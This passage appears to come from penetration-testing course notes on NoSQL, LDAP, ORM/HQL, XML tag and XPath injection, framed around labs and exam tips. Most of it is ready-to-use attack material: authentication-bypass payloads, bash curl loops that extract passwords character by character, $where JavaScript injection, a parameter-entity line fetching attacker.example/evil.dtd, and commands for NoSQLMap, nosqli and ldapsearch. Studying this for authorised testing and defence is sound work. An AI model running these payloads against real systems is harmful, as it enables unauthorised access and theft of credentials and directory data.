db.city.find({$and:[{pop:{$gt:15000}},{state:"FL"}]}).count() // AND
db.city.find({$or:[{pop:{$lt:100}},{state:"FL"}]}).count()    // OR
db.city.find({city:{$regex:"^SA"}})                           // regex, anchored
db.city.aggregate([{$group:{_id:null,avg:{$avg:"$pop"}}}])    // aggregation

4.5.3 MQL operator reference (the injection primitives)

OperatorMeaningInjection use
$eqequalsexplicit equality; sometimes the only operator not filtered
$nenot equalthe workhorse — {"$ne":null} / {"$ne":""} matches any document
$gt / $gtegreater / greater-or-equal{"$gt":""} matches any non-empty string; also used for ordered blind extraction
$lt / $lteless / less-or-equalbinary-search blind extraction
$invalue in array{"$in":["admin","root"]} — target a known account set
$ninvalue not in array{"$nin":[""]} — invert an exclusion list
$orlogical OR of clausesinject a clause that is always true
$andlogical ANDchain conditions during extraction
$notnegate an operator expressioninvert a regex test
$norNORrarely filtered; equivalent to a negated $or
$existsfield is presentschema discovery — enumerate field names blind
$regexPCRE-style matchcharacter-by-character extraction, prefix/length oracles
$typeBSON type checkfield-type discovery, filter-bypass
$whererun a JavaScript predicate per documentJavaScript injection, boolean and time-based blind
$expraggregation expression in a querycompare two fields; occasionally bypasses $where blocks
$optionsregex flags (i, m, s, x)case-insensitive matching during extraction

4.5.4 Injection contexts: JSON body vs URL-encoded parameters

Context A — JSON request body (REST/API login). The app does db.users.findOne(req.body) or splices req.body.username straight in. You replace a string value with an object:

{"username":"admin","password":"secret"}
{"username":"admin","password":{"$ne":"x"}}

Context B — URL-encoded form / query string. Express (qs/body-parser), PHP and Rails all parse bracket notation into a nested structure, so param[$ne]=1 arrives at the application as the object {"$ne":"1"}. This is what makes NoSQLi reachable from a plain HTML form:

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username[$ne]=1&password[$ne]=1
GET /search?name[$ne]=admin HTTP/1.1

Always try both contexts: flip Content-Type: application/x-www-form-urlencoded to application/json (and rewrite the body) when the bracket form is rejected, and vice-versa.

4.5.5 Authentication bypass payloads

Vulnerable pattern:

// Node/Express - user input goes straight into the filter object
var query = {username: req.body.username, password: req.body.password};
db.collection('users').findOne(query, function(err, user){ if(user) login(user); });

JSON body payloads:

{"username":{"$ne":null},"password":{"$ne":null}}
{"username":{"$ne":""},"password":{"$ne":""}}
{"username":"admin","password":{"$ne":"invalid"}}
{"username":"admin","password":{"$gt":""}}
{"username":{"$in":["admin","administrator","root"]},"password":{"$ne":"x"}}
{"username":{"$regex":"^admin$"},"password":{"$regex":".*"}}
{"username":{"$nin":[""]},"password":{"$nin":[""]}}
{"username":{"$exists":true},"password":{"$exists":true}}

URL-encoded equivalents:

username[$ne]=1&password[$ne]=1
username=admin&password[$ne]=x
username=admin&password[$gt]=
username[$regex]=^adm&password[$ne]=x
username[$in][]=admin&username[$in][]=root&password[$ne]=x

GET-parameter form (the lab's search page — ?name=admin becomes an operator object):

/?name[$ne]=admin        # returns every OTHER document -> mass disclosure
/?name[$gt]=             # everything greater than empty string -> all documents
/?name[$nin][]=admin     # everything except admin
/?name[$eq]=admin        # explicit equality (sanity check that brackets are parsed)
/?name[$regex]=.*        # match everything
/?name[$exists]=true     # every document where the field exists

$where string payloads (when the app concatenates into a $where clause):

// injected into:  db.users.find({$where: "this.username == '" + input + "'"})
' || '1'=='1
'; return true; var x='
admin' && this.password.length > 0 || 'a'=='b

4.5.6 Blind extraction with $regex

$regex gives a boolean oracle: the response differs depending on whether the pattern matched. Anchor with ^ and extend one character at a time.

# Step 1 - confirm the account exists
username[$regex]=^admin$&password[$ne]=x
# Step 2 - determine the password length (binary-search the quantifier)
username=admin&password[$regex]=^.{8}$
username=admin&password[$regex]=^.{1,20}$
username=admin&password[$regex]=^.{16,}$
# Step 3 - recover character 1, then 2, then 3 ...
username=admin&password[$regex]=^a
username=admin&password[$regex]=^b
username=admin&password[$regex]=^5f
username=admin&password[$regex]=^5f4
# Character-class narrowing halves the number of requests
username=admin&password[$regex]=^[a-m]
username=admin&password[$regex]=^[0-9]
# Case-insensitive matching when case is unknown
username=admin&password[$regex]=^ADM&password[$options]=i
// Same technique in a JSON body
{"username":"admin","password":{"$regex":"^5f4dcc","$options":"i"}}

Field-name (schema) discovery with $exists:

username=admin&role[$exists]=true
username=admin&isAdmin[$exists]=true
username=admin&apiKey[$exists]=true
username=admin&resetToken[$exists]=true

Automate the character loop:

# Bash oracle loop - adjust the success marker to whatever the app returns on a match
for c in {a..z} {0..9}; do
  r=$(curl -s "http://target/login" -d "username=admin&password[\$regex]=^$PREFIX$c")
  echo "$r" | grep -q "Welcome" && echo "HIT: $PREFIX$c"
done

4.5.7 JavaScript injection via $where and map-reduce

$where evaluates a JavaScript expression once per document, server-side. If user input is concatenated into it, you control JavaScript running inside the database. ($where is disabled when the server runs with --noscripting / javascriptEnabled: false, and was removed from some managed offerings — a failure here is not proof the field is clean.)

// Always-true predicate
{"$where":"1 == 1"}
// Return every document regardless of the intended filter
{"$where":"return true"}
// Boolean oracle on another field - read data one condition at a time
{"$where":"this.password.length == 8"}
{"$where":"this.password[0] == 'a'"}
{"$where":"this.username == 'admin' && this.password.match(/^5f/)"}
// Concatenation-context payloads (input lands inside an existing JS string)
'; return true; //
' || 1==1 //
' || this.role=='admin' || '
// Time-based blind oracle - a busy-wait loop is portable across engine versions
{"$where":"function(){var s=new Date();var n=null;do{n=new Date();}while(n-s<5000);return true;}"}
// sleep() exists in the legacy SpiderMonkey/V8 $where context on older servers
{"$where":"sleep(5000) || true"}
// mapReduce: the map and reduce functions are arbitrary server-side JavaScript.
// If an endpoint takes either function from user input, that is direct JS execution.
db.users.mapReduce(
  function(){ emit(this.username, this.password); },   // map - controlled by the attacker
  function(k,v){ return v.join(","); },                // reduce
  { out: "leak" }
);
db.leak.find();                                        // read the exfiltrated result
// Aggregation equivalents worth testing on modern servers where $where is blocked
db.users.aggregate([{$match:{$expr:{$eq:["$password","$username"]}}}])
db.users.aggregate([{$lookup:{from:"secrets",localField:"_id",foreignField:"uid",as:"s"}}])

4.5.8 Tooling

# SecLists NoSQL payload list - the exact list used in the course lab
sudo apt install seclists
cat /usr/share/seclists/Fuzzing/Databases/NoSQL.txt
# Burp Intruder workflow (the lab method):
#  1. Send the login request to Intruder
#  2. Attack type: Sniper
#  3. Clear auto positions, mark ONLY the password value
#  4. Payloads > Load > /usr/share/seclists/Fuzzing/Databases/NoSQL.txt
#  5. Start attack, sort by Length - the outlier row is the bypass
# NoSQLMap - automated detection/exploitation, Mongo + CouchDB
git clone https://github.com/codingo/NoSQLMap.git && cd NoSQLMap
python3 nosqlmap.py
# nosqli (Charlie Belmer) - fast Go scanner for GET/POST NoSQL injection
go install github.com/Charlie-belmer/nosqli@latest
nosqli scan -t "http://target/login" -r request.txt
nosqli scan -t "http://target/search?name=test"
# PayloadsAllTheThings - canonical payload reference
# github.com/swisskyrepo/PayloadsAllTheThings -> "NoSQL Injection"
# Direct Mongo access if the port is exposed (no auth is a common misconfiguration)
mongosh --host target --port 27017
mongo target:27017/admin
nmap -p 27017 --script mongodb-info,mongodb-databases target

4.5.9 Exam tips

  • A ' that produces no error means nothing here. Your first probe is param[$ne]=1, not a quote.
  • Try the operator in three shapes before concluding the field is safe: param[$ne]=1 (bracket), {"param":{"$ne":1}} (JSON body), and param=admin&param[$ne]=x (parameter pollution).
  • If the login form posts URL-encoded, switching Content-Type to application/json and sending an object often succeeds where brackets are filtered.
  • $ne and $gt bypass authentication; $regex extracts data. Get in first, then extract.
  • A "search" page that echoes results is the friendliest NoSQLi target in a lab — name[$ne]=x dumps the whole collection in one request.
  • $where failing is normal on hardened/modern servers; fall back to $regex blind extraction.
  • Remember MongoDB matching is case-sensitive by default — add $options: "i" when a known-good value is not matching.

4.6 LDAP Injection

4.6.1 LDAP essentials

LDAP (Lightweight Directory Access Protocol) is a protocol for querying and modifying directory services over TCP/IP. It is not itself a database. The directory service (Microsoft Active Directory, OpenLDAP, 389-DS) owns the data and its structure; LDAP is how you talk to it.

Data is organised as a Directory Information Tree (DIT): a hierarchy of entries, each an instance of one or more objectClasses, each identified by a unique Distinguished Name (DN) describing its position in the tree.

dc=example,dc=com                    <- root (organisation's domain)
 |- ou=users                         <- organisational unit (container)
 |   |- cn=John Doe,ou=users,dc=example,dc=com    <- entry, addressed by its DN
 |- ou=groups
     |- cn=admins,ou=groups,dc=example,dc=com
AttributeStands forHolds
dcdomain componentone label of the domain (dc=example,dc=com)
ouorganizational unita container: users, groups, departments
cncommon namedisplay name of the entry (cn=John Doe)
uiduser idlogin name — the usual injection target
snsurnamefamily name
givenNamefirst name
mailemail address
userPasswordpassword attributeoften write-only / not returned
objectClassentry typeperson, posixAccount, organizationalUnit, groupOfNames
memberOf / membergroup membershipprivilege discovery
uidNumber, gidNumber, homeDirectory, loginShellPOSIX attrspresent when objectClass=posixAccount (UNIX account mapping)
sshPublicKeySSH keynon-standard (openssh-lpk schema) but common on Linux-integrated directories

Entries are exchanged in LDIF (LDAP Data Interchange Format), plain text:

dn: dc=samplecompany,dc=org
objectClass: dcObject
objectClass: organization

dn: ou=it,dc=samplecompany,dc=org
objectClass: organizationalUnit
ou: it

dn: cn=John Doe,ou=it,dc=samplecompany,dc=org
objectClass: person
cn: John Doe
sn: Doe
uid: jdoe
mail: jdoe@samplecompany.org

Ports: 389 LDAP (plaintext/StartTLS), 636 LDAPS, 3268 Global Catalog, 3269 Global Catalog over TLS.

Web applications use LDAP to (a) authenticate users against directory entries, (b) authorise — check roles/group membership, and (c) query directory data for display.

4.6.2 Search filter syntax (RFC 4515)

Filters are prefix (Polish) notation, fully parenthesised:

(attribute=value)                        simple equality
(&(a=1)(b=2))                            AND  - every clause must match
(|(a=1)(b=2))                            OR   - any clause matches
(!(a=1))                                 NOT
(cn=J*)                                  wildcard - cn starts with uppercase J
(objectClass=*)                          presence - entry has the attribute at all
(&(objectClass=person)(|(sn=a*)(cn=b*))) nesting - operators apply to what follows
(&(objectClass=printer)(type=Canon*))    example: all Canon printers
(&(uid=<USER>)(userPassword=<PASS>))     example: a typical authentication filter

4.6.3 Metacharacters

CharRole in a filterEscaped formWhy it matters
*wildcard — "any string"\2athe primary payload: turns an exact match into match-all
(opens a filter\28close/open new clauses — restructure the filter
)closes a filter\29terminate the developer's clause early
\escape prefix\5c
NULstring terminator\00 (%00 on the wire)truncates everything the app appended after your input
&AND—inject a new logical context
|OR—inject an always-true alternative
!NOT—invert a condition
= < > ~=comparison—change the comparison type
/in DNs\2f

Test for LDAP injection exactly as you test for SQLi — break the syntax. A lone ( or ) unbalances the filter and usually yields an error, a blank result set or a 500; a lone * in a field that should be an exact match returns more rows than it should.

*
)
(
(|
&
|
*)(uid=*
%00

4.6.4 Authentication bypass

Vulnerable filter:

// user and pass are concatenated straight into the search filter
String filter = "(&(uid=" + user + ")(userPassword=" + pass + "))";

The standard payload closes the uid clause, closes the enclosing &, and opens a new always-true clause so the whole expression still parses:

*)(uid=*))(|(uid=*
# Resulting filter - the first complete expression (&(uid=*)(uid=*)) evaluates true,
# and the trailing (|(uid=*)(userPassword=<pass>)) keeps the parentheses balanced:
(&(uid=*)(uid=*))(|(uid=*)(userPassword=anything))

Other bypass payloads for the username field (password may be anything):

*
*)(&
*))%00
admin)(&)
admin)(!(&(1=0
*)(|(objectClass=*
*)(|(uid=*
admin))(|(uid=*
# When the filter uses OR instead of AND:  (|(uid=<USER>)(cn=<USER>))
*)(uid=*
# Password-field injection when the username is fixed/valid
admin   /   *
admin   /   *)(uid=*

The %00 variants matter because many LDAP client libraries are written in C: a NUL byte terminates the string, so everything the application appended after your input (including the password clause) is silently discarded:

admin)(&))%00
*))%00

4.6.5 AND vs OR filter context

Knowing which logical operator wraps your input determines the payload shape:

Application filterContextPayload for the USER fieldEffect
(&(uid=USER)(userPassword=PASS))AND*)(uid=*))(|(uid=*closes the AND, first expression is always true
(&(uid=USER)(userPassword=PASS))AND*))%00truncates the password clause entirely
(|(uid=USER)(cn=USER))OR*)(uid=*one true clause satisfies the whole OR
(&(objectClass=CLASS)(cn=NAME))AND, data query* in CLASSreturns every objectClass — mass disclosure
(uid=USER)no operator*match-all

Data-query injection is at least as valuable as the auth bypass. In the course lab the application built (objectClass=<param>) from a URL parameter to list fruit and vegetables:

# Intended
GET /?objectClass=fruits
# Wildcard injection - returns EVERY objectClass in the directory:
# fruits, vegetables, and the users/admins groups that were never meant to be listed
GET /?objectClass=*
# Then follow the disclosed objectClass values
GET /?objectClass=posixAccount        # every UNIX account in the directory
# Attribute disclosure: if the app lets you choose which attributes to display,
# ask for the sensitive ones instead of the intended ones
GET /?cn=david&display=uidNumber
GET /?cn=david&display=gidNumber
GET /?cn=david&display=homeDirectory
GET /?cn=david&display=userPassword
GET /?cn=david&display=sshPublicKey

That last step is the lab's win condition: objectClass=posixAccount reveals the directory is mapping UNIX accounts, and the non-standard sshPublicKey attribute (openssh-lpk schema) yields credential material for a direct SSH login.

4.6.6 Blind LDAP injection

When the response only tells you "found / not found" (the printer-icon pattern: an icon appears if the filter matched, nothing otherwise), use the wildcard as a boolean oracle and walk the value one character at a time.

# Does an attribute exist on this entry?
(&(uid=admin)(userPassword=*))
# injected as:   admin)(userPassword=*
# First character of the attribute
admin)(userPassword=a*
admin)(userPassword=b*
admin)(userPassword=c*
# Extend the confirmed prefix
admin)(userPassword=s*
admin)(userPassword=se*
admin)(userPassword=sec*
# Length probing with positional wildcards
admin)(userPassword=?????*          # some servers support ? as single-char
admin)(cn=a*)(cn=*b)                # prefix and suffix together
# Field/attribute discovery - which attributes does this schema expose?
*)(objectClass=*
*)(memberOf=*
*)(sshPublicKey=*
*)(description=*
# Group membership / privilege discovery
*)(memberOf=cn=admins,ou=groups,dc=example,dc=com
# AND-context blind template (keep the parentheses balanced)
admin)(userPassword=a*))(|(uid=*
# Automate with Burp Intruder (Sniper) or a loop; the oracle is a length/content difference
for c in {a..z} {A..Z} {0..9}; do
  curl -s "http://target/login" --data-urlencode "user=admin)(userPassword=$PREFIX$c*" \
    --data "pass=x" | grep -q "Welcome" && echo "HIT $PREFIX$c"
done
# Read the directory directly if 389/636 is reachable and allows anonymous bind
ldapsearch -x -H ldap://target -b "dc=example,dc=com" "(objectClass=*)"
ldapsearch -x -H ldap://target -b "dc=example,dc=com" "(objectClass=posixAccount)" \
  uid uidNumber homeDirectory sshPublicKey
ldapsearch -x -H ldap://target -s base -b "" namingContexts   # discover the base DN
nmap -p 389 --script ldap-rootdse,ldap-search target

4.6.7 Exam tips

  • The one payload to memorise: *)(uid=*))(|(uid=* in the username field, anything in the password field.
  • If that fails, the filter is probably not the (&(uid=)(userPassword=)) shape. Try *, then *))%00, then admin)(&).
  • Your payload must leave the filter syntactically valid. Count parentheses. A 500/parse error means you are injecting but your brackets are wrong — adjust, do not abandon.
  • Do not fixate on the login form. A parameter that names an objectClass, cn or ou and renders a list is a direct read of the directory; * there is a one-request mass disclosure.
  • After a wildcard disclosure, read the objectClass values you get back — posixAccount means UNIX accounts (look for uidNumber, homeDirectory, loginShell, userPassword, sshPublicKey); groupOfNames/memberOf maps privileges.
  • posixAccount is not implemented by default — it appears where LDAP manages Linux/UNIX accounts, essentially never in a pure Active Directory environment.
  • LDAP filter matching is generally case-insensitive for cn/uid, but values you inject into a web app may be case-sensitive at the application layer — try both.

4.7 ORM Injection

4.7.1 What an ORM is

Object-Relational Mapping is a programming technique that maps application objects onto database tables, so developers manipulate objects instead of writing raw SQL. The ORM sits between application code and the RDBMS as an abstraction/translation layer: classes map to tables, attributes map to columns, object instances map to rows.

# Without an ORM - raw SQL, hand-built
import sqlite3
conn = sqlite3.connect('app.db')
conn.cursor().execute("INSERT INTO users (username, email) VALUES ('%s','%s')" % (u, e))
# With an ORM (SQLAlchemy) - the class IS the table definition
class User(Base):
    __tablename__ = 'users'
    id       = Column(Integer, primary_key=True)
    username = Column(String)
    email    = Column(String)

new_user = User(username="John Doe", email="john@example.com")  # an object = a row
session.add(new_user)      # schedules the INSERT
session.commit()           # emits the SQL

Why developers use them: bridge OOP and relational models, simplify CRUD, cut boilerplate, stay database-agnostic and portable, move faster — and, critically for us, ORMs usually parameterise queries by default, which is why they are marketed as an SQLi mitigation.

Common frameworks to fingerprint:

LanguageORMRaw-SQL escape hatches
PythonSQLAlchemytext(), execute(), filter(text(...))
PythonDjango ORM.raw(), .extra(), RawSQL(), .annotate(RawSQL(...))
JavaHibernate / JPAcreateQuery() (HQL), createNativeQuery(), Criteria with string fragments
.NETEntity FrameworkFromSqlRaw(), ExecuteSqlRaw(), SqlQuery()
PHPEloquent (Laravel)DB::raw(), whereRaw(), orderByRaw(), selectRaw(), DB::select()
RubyActiveRecordfind_by_sql, string conditions in where, order, group, pluck
NodeSequelizesequelize.query(), Sequelize.literal(), where: literal(...)
NodeTypeORMquery(), createQueryBuilder().where("...") with interpolation

4.7.2 ORM leak and ORM injection

Two distinct issues:

  • ORM leak — the ORM/framework exposes more of the data model than intended: verbose exception pages printing the generated SQL and schema, serialisers returning every column (password hashes, tokens) because the developer returned the whole model, or filter parameters passed straight from the query string into filter(**request.GET), letting an attacker filter on fields (and traverse relations) they were never meant to reach. This is information disclosure, and it is what makes the subsequent injection efficient — the leaked SQL tells you exactly what to break.
  • ORM injection — untrusted input reaches an ORM query method in a way that lets the attacker alter the generated SQL. The ORM did not remove SQL; it only hid it. Underneath, real SQL still goes to the database.

Root causes:

  1. String concatenation / interpolation into a filter or query method — the developer builds the condition as a string instead of passing parameters.
  2. Raw SQL escape hatches — every ORM offers one for "complex" queries; unsanitised input there is ordinary SQLi.
  3. Developer misuse — bypassing the safe API (dynamic ORDER BY, column names, table names, operators — things that cannot be parameterised even in principle).
  4. Improper input validation — the universal cause.

4.7.3 Vulnerable patterns and payloads

# Python/SQLAlchemy - f-string interpolation into filter() re-introduces SQLi
user = User.query.filter(f"username = '{username}' AND password = '{password}'").all()
# Payload for the username field (password can be anything)
admin' OR '1'='1
-- Resulting SQL: the OR makes the WHERE clause always true, returning the first user
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything'
# Django - .raw() and .extra() take SQL strings
User.objects.raw("SELECT * FROM auth_user WHERE username = '%s'" % username)
User.objects.extra(where=["username='%s'" % username])
User.objects.annotate(x=RawSQL("(SELECT password FROM auth_user WHERE id=%s)" % uid, []))
# Django .raw()/.extra() payloads
' OR 1=1-- 
' UNION SELECT id,password,email,1,1,1,1,1 FROM auth_user-- 
# Django - unparameterisable ORDER BY taken from the query string
User.objects.all().order_by(request.GET['sort'])
# order_by is a classic ORM-leak/enumeration primitive: valid field names succeed,
# invalid ones raise FieldError -> boolean oracle for enumerating the model, and
# relation traversal (__) reaches fields on joined models
?sort=password
?sort=-password
?sort=profile__ssn
// Sequelize - literal() and raw query() are not parameterised
const u = await sequelize.query(`SELECT * FROM users WHERE name = '${name}'`);
User.findAll({ where: Sequelize.literal(`name = '${name}'`) });
' OR 1=1-- 
' UNION SELECT 1,username,password,1 FROM users-- 
// Sequelize operator injection - a JSON body value becomes an operator object,
// exactly like the NoSQL case (mitigated by operatorsAliases:false in v5+)
{"where": {"id": {"$gt": 0}}}
{"where": {"password": {"$ne": ""}}}
# ActiveRecord - string conditions and interpolation
User.where("name = '#{params[:name]}'")
User.find_by_sql("SELECT * FROM users WHERE name = '#{params[:name]}'")
User.order(params[:sort])              # ORDER BY injection
User.where(name: params[:name])        # SAFE - parameterised, for contrast
' OR 1=1-- 
') OR ('1'='1
// Laravel Eloquent - the Raw family concatenates
DB::table('users')->whereRaw("name = '".$name."'")->get();
DB::select("SELECT * FROM users WHERE name = '$name'");
User::orderByRaw($request->sort)->get();
' OR 1=1-- 
' UNION SELECT 1,2,3,4,5-- 

4.7.4 HQL injection (Hibernate)

HQL/JPQL queries objects, not tables, so the payload grammar differs from SQL:

  • No comment syntax (--, #, /* */ are not HQL) — you cannot truncate the rest of the query; you must balance it instead.
  • No UNION in HQL.
  • Entity and property names are used, not table and column names (from User u where u.name = ...).
  • Cross-entity reads are possible via subselects on other mapped entities.
// Vulnerable: concatenated HQL
String hql = "FROM User u WHERE u.name = '" + name + "' AND u.password = '" + pass + "'";
session.createQuery(hql).list();
# Authentication bypass - note the trailing condition that consumes the original quote
' OR '1'='1
# Balanced tautology when a comment cannot terminate the statement
x' OR 1=1 OR 'x'='y
' OR ''='
# Confirm injection by making the query return nothing vs everything (boolean oracle)
' AND '1'='1
' AND '1'='2
# Cross-entity extraction via a correlated subselect on another mapped entity
x' OR u.name = (SELECT a.password FROM Admin a WHERE a.id=1) OR 'x'='y
# Substring oracle for blind HQL extraction (HQL supports the standard string functions)
x' OR substring((SELECT a.password FROM Admin a WHERE a.id=1),1,1)='a' OR 'x'='y
x' OR length((SELECT a.password FROM Admin a WHERE a.id=1))=32 OR 'x'='y
// createNativeQuery() drops to real SQL - full SQL injection applies, including UNION
String sql = "SELECT * FROM users WHERE name = '" + name + "'";
em.createNativeQuery(sql, User.class).getResultList();
' UNION SELECT 1,username,password FROM users-- 

4.7.5 Identifying an ORM

# Framework fingerprints in headers, cookies, error pages and paths
curl -sI http://target/ | grep -iE "x-powered-by|server|x-aspnet"
# Laravel:  laravel_session cookie, /storage/, Whoops error page
# Django:   csrftoken + sessionid cookies, /admin/, yellow DEBUG traceback
# Rails:    _<app>_session cookie, /rails/info, X-Runtime header
# Spring/Hibernate: JSESSIONID, /actuator/, HQL in stack traces
# The highest-value tell: a verbose exception that prints the generated SQL or an
# HQL/JPQL fragment. That is an ORM leak - it hands you the exact query to break.
org.hibernate.QueryException: unexpected token near line 1
django.db.utils.ProgrammingError: syntax error at or near "'"
SequelizeDatabaseError: near "'": syntax error

4.7.6 Exam tips

  • ORM injection is SQL injection with slightly different payload grammar. Do not treat it as a separate skill; adapt quoting and drop comments.
  • If a standard ' OR 1=1-- fails on a Java target, you are probably in HQL — retry with a balanced tautology (' OR 1=1 OR 'x'='y) because HQL has no comment terminator.
  • Look for the escape hatches by name: raw, extra, literal, whereRaw, orderByRaw, find_by_sql, createQuery, createNativeQuery, FromSqlRaw, sequelize.query.
  • ORDER BY/sort parameters are the most reliable ORM injection point — sort fields cannot be parameterised, so developers interpolate them. Try a column name, then -column, then a relation walk (profile__field).
  • A JSON body that lets you supply a where object may allow operator injection ($ne, $gt) — the Sequelize/NoSQL crossover.
  • Stack traces are gold. Trigger one deliberately with a malformed value before you start guessing query shapes.

4.8 XML Fundamentals: Structure, DTD, Entities

4.8.1 What XML is

XML (eXtensible Markup Language) structures, stores and transports data in a format that is both human- and machine-readable. Unlike HTML it was designed to carry data, not display it, and its tags are not predefined — the developer invents them.

You will meet XML in: SOAP web services, RSS feeds, configuration files, PDFs, Office Open XML documents (DOCX/XLSX/PPTX), SVG images, XML-RPC, SAML assertions, Android manifests and sitemaps.

<?xml version="1.0" encoding="UTF-8"?>   <!-- prologue: optional, but MUST be first if present -->
<bookstore>                               <!-- root element: exactly one per document -->
  <book category="cooking">               <!-- element with an attribute -->
    <title lang="en">Everyday Italian</title>   <!-- child elements -->
    <author>Giada De Laurentiis</author>
    <year>2005</year>
    <price>30.00</price>
  </book>
</bookstore>

Syntax rules that matter for exploitation:

  • Every element must have a closing tag — omitting one is a parse error (this is the lever for tag injection).
  • Exactly one root element encloses everything.
  • Tags are case-sensitive (<Letter> ≠ <letter>).
  • Attribute values must be quoted.
  • The prologue, if present, comes first.
  • Elements nest to form a tree: root → branches → leaves, with sibling relationships at each level.

4.8.2 DTD (Document Type Definition)

A DTD defines the legal building blocks of an XML document — which elements and attributes are allowed, in what order, and what entities exist. A document with correct syntax is well-formed; one that also conforms to its DTD is valid.

Building blocks: elements, tags, attributes, entities, PCDATA (parsed character data — markup inside it is processed) and CDATA (character data — raw, unparsed text).

<!-- Internal DTD: declared inside the document -->
<?xml version="1.0"?>
<!DOCTYPE library [
  <!ELEMENT library (book+)>                          <!-- + = one or more -->
  <!ELEMENT book (title, author, year, price)>        <!-- ordered child elements -->
  <!ELEMENT title (#PCDATA)>
  <!ATTLIST book category CDATA #REQUIRED>            <!-- attribute declaration -->
  <!ENTITY company "Example Corp">                    <!-- internal entity -->
]>
<library>
  <book category="cooking">
    <title>Everyday Italian</title><author>Giada</author><year>2005</year><price>30</price>
  </book>
</library>
<!-- External DTD: referenced from outside the document -->
<!DOCTYPE library SYSTEM "http://example.com/library.dtd">
<!DOCTYPE library PUBLIC "-//Example//DTD Library//EN" "http://example.com/library.dtd">

4.8.3 Entities

An entity is a named placeholder the parser substitutes at parse time. Entities are the entire basis of XXE.

<!-- Internal (general) entity: value defined inline, referenced as &name; -->
<!DOCTYPE foo [ <!ENTITY greeting "Hello World"> ]>
<foo>&greeting;</foo>
<!-- External general entity, PRIVATE: SYSTEM + a URI the parser dereferences.
     Private = restricted to one author/group. These are the dangerous ones. -->
<!DOCTYPE foo [ <!ENTITY c SYSTEM "http://www.example.com/copyright.xml"> ]>
<foo>&c;</foo>
<!-- External general entity, PUBLIC: PUBLIC + a public identifier + a fallback URI.
     Public = designed for broad, shared usage. -->
<!DOCTYPE foo [ <!ENTITY c PUBLIC "-//W3Schools//Copyright//EN"
                                  "https://www.w3schools.com/entities/copyright.xml"> ]>
<foo>&c;</foo>
<!-- Parameter entity: usable only INSIDE the DTD, referenced with % instead of &.
     Declared with the % before the name. This is what makes blind XXE work. -->
<!DOCTYPE foo [
  <!ENTITY % p SYSTEM "http://attacker.example/evil.dtd">
  %p;
]>
<!-- Predefined entities: how XML escapes its own metacharacters -->
<!-- &lt; <   &gt; >   &amp; &   &apos; '   &quot; "   &#65; numeric-char-ref -->
<!-- CDATA section: everything inside is raw, unparsed text -->
<note><![CDATA[ This <b>markup</b> & these chars are NOT parsed ]]></note>

4.8.4 Exam tips

  • Three things reveal an XXE-capable target: XML in the request body, a Content-Type of application/xml/text/xml/application/soap+xml, or a file upload of a format that is XML underneath (SVG, DOCX, XLSX, PPTX, SAML, RSS).
  • SYSTEM (private) vs PUBLIC — both dereference a URI. PUBLIC is occasionally accepted where a naive filter only blocks the string SYSTEM.
  • & for general entities, % for parameter entities, and parameter entities only work inside the DTD. Getting that backwards is the single most common blind-XXE mistake.
  • No prologue is required; if a filter keys on <?xml, drop it.

4.9 XML Injection

4.9.1 What it is

XML injection is a broad category, not one vulnerability: any manipulation of XML content or XML-based queries caused by unsanitised input reaching an XML document or parser. Subtypes:

TypeWhat you injectImpact
XML data manipulationaltered element valuesdata tampering, auth bypass
Tag injectionnew/modified XML tagsprivilege escalation, parser disruption
Attribute injectionmanipulated attribute valueslogic bypass
XPath injectionXPath expression fragmentsauth bypass, unauthorised data access
XXEexternal entity declarationsfile read, SSRF, exfiltration
XInclude injectionxi:include elementsfile inclusion, information disclosure
XML bomb / billion laughsdeeply nested entity expansiondenial of service
Schema poisoningmanipulated XSD/DTDvalidation bypass

4.9.2 Detection — the metacharacters

Inject XML metacharacters to break the document structure and provoke a parser exception — exactly the error-based SQLi mindset.

CharRoleTest payloadExpected signal
' "delimit attribute values' or "parse error on an unbalanced quote
< >delimit tags, comments, CDATA< or <test>"not well-formed", mismatched tag
&begins an entity reference&"EntityRef: expecting ';'" / "entity reference: no name"
;ends an entity reference&test (no ;)malformed entity error
<!-- -->comments<!--unterminated comment
<![CDATA[ ]]>raw sections]]>premature CDATA close
# The single best first probe: a bare ampersand. It starts an entity reference with no
# name, so any XML parser must reject it. If the field is not XML-backed, nothing happens.
&
# Full metacharacter fuzz string for a form field
'"<>&;]]>
# Entity with no semicolon - malformed structure
&test
# Unbalanced tag
</foo>

Worked example (the course lab): registering with & in the name field produced nothing, but & in the username field returned "XML parse entity reference: no name" — confirming the username field is concatenated into an XML document.

4.9.3 Tag injection

Tag injection adds or modifies tags (rather than data) to restructure the document. Because XML requires every tag to be closed, you close the developer's open tag, inject your own complete element, and leave the trailing close tag to terminate what you opened.

<!-- Target structure (recovered from a leaked JS function / schema in the page source) -->
<user>
  <rule>2</rule>          <!-- 2 = normal user, 1 = admin -->
  <name>test</name>
  <username>test</username>
</user>
# Payload for the username field: close username, close user, open a NEW user with rule=1,
# and leave <username> open so the application's own closing </username> completes it.
useless</username></user><user><rule>1</rule><name>pond</name><username>pond
<!-- Resulting document: two valid <user> elements, the second with admin privileges -->
<user>
  <rule>2</rule>
  <name>useless</name>
  <username>useless</username>
</user>
<user>
  <rule>1</rule>
  <name>pond</name>
  <username>pond</username>   <!-- closed by the app's own trailing tag -->
</user>
# Simpler privilege-escalation shape when a <role> element follows your field
test</name><role>admin</role><name>x
# Attribute injection: break out of the quoted attribute value and add another attribute
" role="admin
' group='admin

4.9.4 CDATA breakout

<![CDATA[ ... ]]> marks raw, unparsed text. Two complementary tricks:

# (a) Break OUT of a CDATA section the app wrapped your input in, then inject markup
]]><role>admin</role><![CDATA[
# (b) Wrap your payload IN CDATA to smuggle markup past a filter that inspects raw text.
# The parser strips the CDATA wrapper, so the value is reassembled after filtering.
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
# (c) Split a blocked keyword across CDATA boundaries
<![CDATA[SYS]]><![CDATA[TEM]]>

4.9.5 XPath injection

XPath queries XML documents. When an application builds an XPath expression from user input, the result is injectable — with the same tautology grammar as SQL, but no comment syntax, so payloads must stay balanced. There is also no access control inside an XML document: one injection reads the whole file.

<!-- Typical vulnerable lookup -->
<!-- //user[username/text()='<USER>' and password/text()='<PASS>'] -->
# Authentication bypass - the canonical payload, in the username field
' or '1'='1
# Balanced tautology that also neutralises the password clause
' or 1=1 or ''='
# Both fields
user:  ' or '1'='1     pass:  ' or '1'='1
# Variants for different quoting contexts
" or "1"="1
') or ('1'='1
x' or name()='username' or 'x'='y
' or true() or '
# Return the first account regardless of credentials
'] | //user[' 
